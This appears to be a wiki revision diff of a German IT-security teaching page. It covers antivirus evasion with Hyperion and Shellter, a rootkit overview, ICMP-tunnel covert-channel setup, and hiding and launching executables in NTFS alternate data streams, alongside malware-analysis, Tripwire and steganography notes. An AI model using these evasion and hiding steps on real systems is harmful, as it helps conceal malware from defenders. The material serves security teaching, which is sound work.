| - | Fazit: Encoder sind nicht sehr hilfreich um an Virenscanner vorbei zu kommen. Selbst der Einsatz | + | |
| + | Fazit: Encoder sind nicht sehr hilfreich, um an Virenscannern vorbeizukommen. Selbst der Einsatz | ||
| === Verschlüsseln mit Hyperion === | === Verschlüsseln mit Hyperion === | ||
| - | Die 32Bit-Umgebung von wine muss installiert sein (Siehe Vorbereitungen) | + | Die 32-Bit-Umgebung von Wine muss installiert sein (siehe Vorbereitungen). |
| - | cd / | + | <code bash> |
| - | wine hyperion.exe / | + | cd / |
| + | wine hyperion.exe / | ||
| + | </ | ||
| Fazit: Hyperion ist altbekannt und wird fast immer als Virus erkannt. | Fazit: Hyperion ist altbekannt und wird fast immer als Virus erkannt. | ||
| ===== Shellter ===== | ===== Shellter ===== | ||
| - | | + | <code bash> |
| - | + | apt install shellter | |
| - | Operation-Mode: | + | </ |
| - | PE Target | + | |
| - | Alle weiteren Eingaben sind selbsterklärend. Das Ergebnis steht dann in dem Ordner / | + | |
| - | Fazit: Weniger als die Hälfte der Virenscanner | + | |
| + | Alle weiteren Eingaben sind selbsterklärend. Das Ergebnis steht dann im Ordner / | ||
| + | Fazit: Weniger als die Hälfte der Virenscanner | ||
| ===== Root Kits ===== | ===== Root Kits ===== | ||
| - | * Kernel Rootkits (LKM) Laden sich als Modul in den Kernel nach und manipulieren Systemaufrufe | + | * Kernel-Rootkits (LKM) laden sich als Modul in den Kernel nach und manipulieren Systemaufrufe |
| - | * Userland Rootkits verwenden manipulierte | + | * Userland-Rootkits verwenden manipulierte |
| - | ===== ICPM Tunneling Covert Channel ===== | + | ===== ICMP-Tunneling |
| - | Arbeiten auf allen Clients | + | Auf allen Clients: |
| - | apt install gcc git make | + | <code bash> |
| - | cd opt | + | apt install gcc git make |
| - | git clone https:// | + | cd /opt |
| - | make | + | git clone https:// |
| - | + | make | |
| - | Am Server (Kali) | + | </ |
| - | cd /op7/ | + | |
| - | ./ | + | Am Server (Kali): |
| - | ifconfig | + | <code bash> |
| - | + | cd /opt/ | |
| - | Auf dem Ziel | + | ./ |
| - | vim / | + | ifconfig |
| - | # route add -host < | + | </ |
| - | ./ | + | |
| - | + | Auf dem Ziel: | |
| - | Ab jetzt wird die Kommunikation zwischen | + | <code bash> |
| + | vim / | ||
| + | # route add -host < | ||
| + | ./ | ||
| + | </ | ||
| + | |||
| + | Ab jetzt wird die Kommunikation zwischen | ||
| ===== Alternate Data Streams (ADS) ===== | ===== Alternate Data Streams (ADS) ===== | ||
| Für Windows NTFS: Daten an harmlosen Dateien anhängen und so verstecken. | Für Windows NTFS: Daten an harmlosen Dateien anhängen und so verstecken. | ||
| - | Textdatei erstellen: harmlos.txt und speichern | + | |
| - | cmd starten und in das Verzeichnis der eben erstellten Datei wechseln | + | |
| - | notepad harmlos.txt: | + | |
| - | Die neue Datei geheim.txt ist nirgendwo | + | |
| - | notepad harmlos.txt: | + | Die neue Datei geheim.txt ist nirgendwo |
| - | kann wieder auf den versteckten Inhalt zugegriffen werden. Das geht auch mit ausführbaren | + | <code bash> |
| - | type c:\ordner\ virus.exe c: | + | notepad harmlos.txt: |
| - | start harmlos.txt: | + | </ |
| - | dir -r # zeigt Ordnerinhalt inklusive ADS (ab Win 7) | + | kann wieder auf den versteckten Inhalt zugegriffen werden. Das geht auch mit ausführbarem |
| + | <code bash> | ||
| + | type c: | ||
| + | start harmlos.txt: | ||
| + | dir -r # zeigt Ordnerinhalt inklusive ADS (ab Win 7) | ||
| + | </ | ||
| ===== Keylogger und Spyware ===== | ===== Keylogger und Spyware ===== | ||
| Zeile 494: | Zeile 662: | ||
| * [[https:// | * [[https:// | ||
| - | ====== Malware Analyse ====== | + | ====== Malware-Analyse ====== |
| - | ==== Statische | + | ==== Statische |
| - | Programm dekompilieren und Quellcode analysieren oder nach Ausrücken | + | Programm dekompilieren und Quellcode analysieren oder nach Ausdrücken |
| * strings (Windows für die CMD) | * strings (Windows für die CMD) | ||
| * pestudio (Windows mit GUI) | * pestudio (Windows mit GUI) | ||
| - | ==== Dynamische Malware Analyse (Laufzeitanalyse) ==== | + | ==== Dynamische Malware-Analyse (Laufzeitanalyse) ==== |
| - | Verhalten eines Sample | + | Verhalten eines Samples |
| * JOESandbox | * JOESandbox | ||
| - | * AnyRun | + | * AnyRun |
| ==== Verdächtiges Verhalten analysieren ==== | ==== Verdächtiges Verhalten analysieren ==== | ||
| - | Auf Windows-Clients muss geprüft werden: | + | Auf Windows-Clients muss geprüft werden: |
| * Virencheck | * Virencheck | ||
| - | * Offline via Rescue-Disk (zB [[https:// | + | * Offline via Rescue-Disk (z. B. [[https:// |
| - | * Antivirus-Tools testen mit dem eicar-String | + | * Antivirus-Tools testen mit dem EICAR-String: |
| - | * X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* | + | * X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H* |
| - | * oder mit auf der eicar Homepage vorgefertigten Dateien | + | * oder mit auf der EICAR-Homepage vorgefertigten Dateien |
| * Prozessaktivitäten | * Prozessaktivitäten | ||
| - | | + | |
| - | * Der [[https:// | + | * Der [[https:// |
| - | * Der [[https:// | + | * Der [[https:// |
| - | * Netzwerkaktivitäten | + | * Netzwerkaktivitäten |
| - | * netstat -nap tcp für die CMD | + | * `netstat -nap tcp` für die CMD |
| - | * Als Admin eine CMD starten und netstat -nabp tcp -> zeigt auch die zugehörigen Prozesse | + | * Als Admin eine CMD starten und `netstat -nabp tcp` -> zeigt auch die zugehörigen Prozesse |
| - | * unter Linux: netstat -tlpn | + | * Unter Linux: |
| - | * Besser | + | * Besser ein externes Tool wie [[https:// |
| - | * DNS und die Datei hosts checken. Dazu eignet sich das Tool [[https:// | + | * DNS und die hosts-Datei checken, dazu eignet sich [[https:// |
| * Windows Registry | * Windows Registry | ||
| - | | + | |
| - | * [[https:// | + | * [[https:// |
| * Autostart-Einträge | * Autostart-Einträge | ||
| - | | + | |
| - | * Bessere Alternative: | + | * Bessere Alternative: |
| - | * Windows Dienste | + | * Windows-Dienste |
| * services.msc | * services.msc | ||
| * Alternative: | * Alternative: | ||
| * Treiber | * Treiber | ||
| - | * msinfo.exe | + | * msinfo32.exe |
| - | * Bessere | + | * Bessere |
| * Integrität und Signaturen | * Integrität und Signaturen | ||
| - | * sigverif in einer CMD ausführen | + | * `sigverif` in einer CMD ausführen |
| - | * Einsatz von Sniffer | + | * Einsatz von Sniffern |
| - | * Der Sniffer | + | * [[https:// |
| - | * Der [[https:// | + | * [[https:// |
| + | ===== Integrität mit Tripwire prüfen ===== | ||
| + | <code bash> | ||
| + | apt install tripwire | ||
| + | tripwire --init | ||
| + | vim / | ||
| + | # /var/run | ||
| + | # /var/log | ||
| + | # /root/.* (außer bashrc, bash_* und ICE*) | ||
| + | # /proc | ||
| + | twadmin -m P / | ||
| + | tripwire --init | ||
| + | tripwire --check | ||
| + | </ | ||
| + | Entsprechend der Fehlermeldungen muss die twpol.txt angepasst werden. Danach ein kleines Script schreiben, um via Cronjob das Ergebnis zu mailen. | ||
| - | ===== integrität mit Tripwire prüfen ===== | + | ===== Sheep-Dip-Systeme ===== |
| - | apt install tripwire | + | Ein System (idealerweise |
| - | tripwire --init | + | |
| - | vim / | + | |
| - | # /var/run | + | |
| - | # /var/log | + | |
| - | # /root/.* (außer bashrc bash_* und ICE*) | + | |
| - | # /proc | + | |
| - | twadmin -m P / | + | |
| - | tripwire --init | + | |
| - | tripwire --check | + | |
| - | Entsprechend der Fehler muss die twpol.txt angepasst werden. Danach kleines Script schreiben um via Cronjob das Ergebnis zu mailen | + | |
| - | + | ||
| - | ===== Sheep-Dip Systeme ===== | + | |
| - | Ein System (idealerveise | + | |
| Siehe: http:// | Siehe: http:// | ||
| ===== Sandboxen ===== | ===== Sandboxen ===== | ||
| * Für Windows: [[https:// | * Für Windows: [[https:// | ||
| - | * Für Linux: [[https:// | + | * Für Linux: [[https:// |
| * Für VM: [[https:// | * Für VM: [[https:// | ||
| ===== Steganografie ===== | ===== Steganografie ===== | ||
| - | Linguistische Steganografie ist das Verstecken einer Botschaft innerhalb eines Textes. Siehe: https:// | + | Linguistische Steganografie ist das Verstecken einer Botschaft innerhalb eines Textes. Siehe: https:// |
| - | Die technische Steganografie nutzt das Verstecken | + | Die technische Steganografie nutzt das Verstecken |
| - | ===== Information in Bilder | + | ==== Information in Bildern |
| - | Dazu verwendet man das letze Bit der Farbinformation jedes Pixel. Dadurch | + | Dazu verwendet man das letzte |
| * [[https:// | * [[https:// | ||
| * [[https:// | * [[https:// | ||
| - | * [[https:// | + | * [[https:// |
| - | <code bash> | + | |
| - | stegosuite -e -f < | + | <code bash> |
| - | stegosuite x <Bild.lpg> -k < | + | stegosuite -e -f < |
| + | stegosuite | ||
| </ | </ | ||
| Hier gibt es weitere Infos: https:// | Hier gibt es weitere Infos: https:// | ||
| - | ===== Information in beliebigen Dateien verstecken ===== | ||
| - | * [[https:// | ||
| + | ==== Information in beliebigen Dateien verstecken ==== | ||
| + | * [[https:// | ||
| ====== Links und Dokumente ====== | ====== Links und Dokumente ====== | ||
| |< 100% 20% >| | |< 100% 20% >| | ||
| - | | [[https:// | + | | [[https:// |
| | [[https:// | | [[https:// | ||
| - | | [[https:// | + | | [[https:// |
| - | | [[https:// | + | | [[https:// |
| - | | inxi -Fxzd | Befehl um so ziemlich alles von einem Linux zu erfahren | | + | | inxi -Fxzd | Befehl, um so ziemlich alles über ein Linux-System |
| - | | [[https:// | + | | [[https:// |
| - | | [[https:// | + | | [[https:// |
| - | | [[https:// | + | | [[https:// |
| | {{: | | {{: | ||
| | [[https:// | | [[https:// | ||
| - | | [[https:// | + | | [[https:// |
| + | Logo generieren: https:// | ||
